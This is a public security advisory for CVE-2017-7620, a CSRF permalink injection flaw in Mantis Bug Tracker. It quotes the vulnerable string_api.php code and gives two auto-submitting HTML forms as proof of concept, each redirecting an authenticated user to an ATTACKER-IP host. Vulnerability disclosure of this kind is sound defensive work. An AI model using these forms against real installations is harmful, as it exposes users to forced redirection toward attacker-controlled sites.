[+] Credits: John Page a.k.a hyp3rlinx
[+] Website: hyp3rlinx.altervista.org
[+] Source:
http://hyp3rlinx.altervista.org/advisories/MANTIS-BUG-TRACKER-CSRF-PERMALINK-INJECTION.txt
[+] ISR: ApparitionSec
Vendor:
================
www.mantisbt.org
Product:
=========
Mantis Bug Tracker
1.3.10 / v2.3.0
MantisBT is a popular free web-based bug tracking system. It is written in PHP
works with MySQL, MS SQL, and PostgreSQL databases.
Vulnerability Type:
========================
CSRF Permalink Injection
CVE Reference:
==============
CVE-2017-7620
Security Issue:
================
Remote attackers can inject arbitrary permalinks into the mantisbt Web
Interface if an authenticated user visits a malicious webpage.
Vuln code in "string_api.php" PHP file, under mantis/core/ did not account for
supplied backslashes.
Line: 270
# Check for URL's pointing to other domains
if( 0 == $t_type || empty( $t_matches['script'] ) ||
3 == $t_type && preg_match( '@(?:[^:]*)?:/*@', $t_url ) > 0 ) {
return ( $p_return_absolute ? $t_path . '/' : '' ) . 'index.php';
}
# Start extracting regex matches
$t_script = $t_matches['script'];
$t_script_path = $t_matches['path'];
Exploit/POC:
=============
<form
action="http://VICTIM-IP/mantisbt-2.3.0/permalink_page.php?url=\/ATTACKER-IP";
method="POST">
<script>document.forms[0].submit()</script>
</form>
OR
<form
action="http://VICTIM-IP/permalink_page.php?url=\/ATTACKER-IP%2Fmantisbt-2.3.0%2Fsearch.php%3Fproject_id%3D1%26sticky%3Don%26sort%3Dlast_updated%26dir%3DDESC%26hide_status%3D90%26match_type%3D0";
method="POST">
<script>document.forms[0].submit()</script>
</form>
Network Access:
===============
Remote
Severity:
=========
Medium
Disclosure Timeline:
=============================
Vendor Notification: April 9, 2017
Vendor Release Fix: May 15, 2017
Vendor Disclosed: May 20, 2017
May 20, 2017 : Public Disclosure
[+] Disclaimer
The information contained within this advisory is supplied "as-is" with no
warranties or guarantees of fitness of use or otherwise.
Permission is hereby granted for the redistribution of this advisory, provided
that it is not altered except by reformatting it, and
that due credit is given. Permission is explicitly given for insertion in
vulnerability databases and similar, provided that due credit
is given to the author. The author is not responsible for any misuse of the
information contained herein and accepts no responsibility
for any damage caused by the use or misuse of this information. The author
prohibits any malicious use of security related information
or exploits by the author or elsewhere. All content (c).
hyp3rlinx
